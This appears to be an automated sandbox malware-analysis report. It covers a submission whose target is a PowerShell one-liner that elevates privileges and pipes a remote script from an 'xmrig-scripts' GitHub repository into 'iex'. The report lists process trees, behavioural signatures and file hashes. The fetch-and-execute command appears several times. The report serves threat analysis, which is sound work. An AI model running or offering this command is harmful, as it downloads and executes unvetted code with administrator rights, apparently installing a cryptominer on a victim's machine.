Analysis

  • max time kernel
    1198s
  • max time network
    1080s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    16-07-2024 05:10

General

  • Target

    http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Score
4/10

Malware Config

Signatures

  • Changes its process name 64 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 11 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /usr/bin/firefox
    firefox -new-tab "http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
    1⤵
      PID:1387
      • /usr/bin/which
        which /usr/bin/firefox
        2⤵
          PID:1388
      • /usr/lib/firefox/firefox
        /usr/lib/firefox/firefox -new-tab "http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
        1⤵
        • Checks CPU configuration
        • Reads CPU attributes
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:1387
        • /usr/local/sbin/dbus-launch
          dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
          2⤵
            PID:1402
          • /usr/local/bin/dbus-launch
            dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
            2⤵
              PID:1402
            • /usr/sbin/dbus-launch
              dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
              2⤵
                PID:1402
              • /usr/bin/dbus-launch
                dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                2⤵
                  PID:1402
                  • /usr/bin/dbus-daemon
                    /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session
                    3⤵
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:1404
                    • /usr/libexec/xdg-desktop-portal
                      /usr/libexec/xdg-desktop-portal
                      4⤵
                        PID:1481
                      • /usr/libexec/xdg-document-portal
                        /usr/libexec/xdg-document-portal
                        4⤵
                        • Reads runtime system information
                        PID:1487
                      • /usr/libexec/xdg-permission-store
                        /usr/libexec/xdg-permission-store
                        4⤵
                          PID:1492
                        • /usr/libexec/xdg-desktop-portal-gtk
                          /usr/libexec/xdg-desktop-portal-gtk
                          4⤵
                          • Reads runtime system information
                          PID:1507
                        • /usr/libexec/gvfsd
                          /usr/libexec/gvfsd
                          4⤵
                          • Reads runtime system information
                          PID:1513
                          • /usr/libexec/gvfsd-trash
                            /usr/libexec/gvfsd-trash --spawner :1.6 /org/gtk/gvfs/exec_spaw/0
                            5⤵
                            • Reads runtime system information
                            PID:1540
                        • /usr/libexec/dconf-service
                          /usr/libexec/dconf-service
                          4⤵
                          • Reads runtime system information
                          PID:1531
                        • /usr/bin/nautilus
                          /usr/bin/nautilus --gapplication-service
                          4⤵
                          • Reads CPU attributes
                          PID:1536
                        • /usr/bin/gnome-keyring-daemon
                          /usr/bin/gnome-keyring-daemon --start --foreground "--components=secrets"
                          4⤵
                          • Reads runtime system information
                          PID:1669
                        • /usr/libexec/gvfs-udisks2-volume-monitor
                          /usr/libexec/gvfs-udisks2-volume-monitor
                          4⤵
                          • Reads runtime system information
                          PID:1677
                        • /usr/libexec/gvfs-afc-volume-monitor
                          /usr/libexec/gvfs-afc-volume-monitor
                          4⤵
                            PID:1683
                          • /usr/libexec/gvfs-mtp-volume-monitor
                            /usr/libexec/gvfs-mtp-volume-monitor
                            4⤵
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:1689
                          • /usr/libexec/gvfs-gphoto2-volume-monitor
                            /usr/libexec/gvfs-gphoto2-volume-monitor
                            4⤵
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:1694
                          • /usr/libexec/gvfs-goa-volume-monitor
                            /usr/libexec/gvfs-goa-volume-monitor
                            4⤵
                            • Reads runtime system information
                            PID:1701
                          • /usr/libexec/goa-daemon
                            /usr/libexec/goa-daemon
                            4⤵
                            • Reads runtime system information
                            PID:1705
                          • /usr/libexec/goa-identity-service
                            /usr/libexec/goa-identity-service
                            4⤵
                            • Reads runtime system information
                            PID:1718
                      • /usr/lib/firefox/glxtest
                        /usr/lib/firefox/glxtest -f 13
                        2⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:1415
                      • /usr/bin/lsb_release
                        /usr/bin/lsb_release -idrc
                        2⤵
                          PID:1457
                        • /usr/local/sbin/dbus-launch
                          dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                          2⤵
                            PID:1467
                          • /usr/local/bin/dbus-launch
                            dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                            2⤵
                              PID:1467
                            • /usr/sbin/dbus-launch
                              dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                              2⤵
                                PID:1467
                              • /usr/bin/dbus-launch
                                dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                2⤵
                                  PID:1467
                                • /usr/lib/firefox/firefox
                                  /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -prefsLen 20597 -prefMapSize 233654 -appDir /usr/lib/firefox/browser "{cc5b2393-e057-47a1-9b23-261b9640ed18}" 1387 true socket
                                  2⤵
                                  • Reads CPU attributes
                                  • Reads runtime system information
                                  PID:1479
                                • /usr/lib/firefox/firefox
                                  /usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser -prefsLen 27912 -prefMapSize 233654 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{8fea149a-d2f9-49b7-8321-7fa4c990788a}" 1387 true tab
                                  2⤵
                                  • Reads CPU attributes
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  PID:1567
                                • /usr/lib/firefox/firefox
                                  /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -sandboxingKind 0 -prefsLen 28648 -prefMapSize 233654 -appDir /usr/lib/firefox/browser "{f43074ec-4fd1-48b7-948d-526cda48be9d}" 1387 true utility
                                  2⤵
                                  • Reads CPU attributes
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  PID:1604
                                • /usr/lib/firefox/firefox
                                  /usr/lib/firefox/firefox -contentproc -childID 2 -isForBrowser -prefsLen 26758 -prefMapSize 233654 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{35fbd861-b554-41e5-9c4d-568f7844c2cf}" 1387 true tab
                                  2⤵
                                  • Reads CPU attributes
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  PID:1610
                                • /usr/lib/firefox/firefox
                                  /usr/lib/firefox/firefox -contentproc -childID 3 -isForBrowser -prefsLen 26758 -prefMapSize 233654 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{537b9887-9a6c-46c7-b1d7-1df815a26a92}" 1387 true tab
                                  2⤵
                                  • Reads CPU attributes
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  PID:1627
                                • /usr/lib/firefox/firefox
                                  /usr/lib/firefox/firefox -contentproc -childID 4 -isForBrowser -prefsLen 26758 -prefMapSize 233654 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{db137bff-7780-462f-8d3f-45de5e269b3d}" 1387 true tab
                                  2⤵
                                  • Reads CPU attributes
                                  • Reads runtime system information
                                  PID:1630
                              • /usr/libexec/gvfsd-fuse
                                /usr/libexec/gvfsd-fuse /root/.cache/gvfs -f -o big_writes
                                1⤵
                                • Reads runtime system information
                                PID:1518

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /root/.cache/dconf/user

                                Filesize

                                2B

                                MD5

                                c4103f122d27677c9db144cae1394a66

                                SHA1

                                1489f923c4dca729178b3e3233458550d8dddf29

                                SHA256

                                96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7

                                SHA512

                                5ea71dc6d0b4f57bf39aadd07c208c35f06cd2bac5fde210397f70de11d439c62ec1cdf3183758865fd387fcea0bada2f6c37a4a17851dd1d78fefe6f204ee54

                              • /tmp/tmpaddon

                                Filesize

                                569KB

                                MD5

                                30082ae40dc48af6343db2fd22cfc645

                                SHA1

                                3eb577555ee638e8beb01173e8f29e172747a728

                                SHA256

                                85d4b95f9b2075daee9b0e64bce8d9d7343d0dda10e6072d7f9485a68472ee76

                                SHA512

                                53a58bfb4c8124ad4f7655b99bfdea290033a085e0796b19245b33b91c0948fdac9f0c3e817130b352493a65d9a7a0fc8a7c1eedc618cdaa2b4580734a11cd9c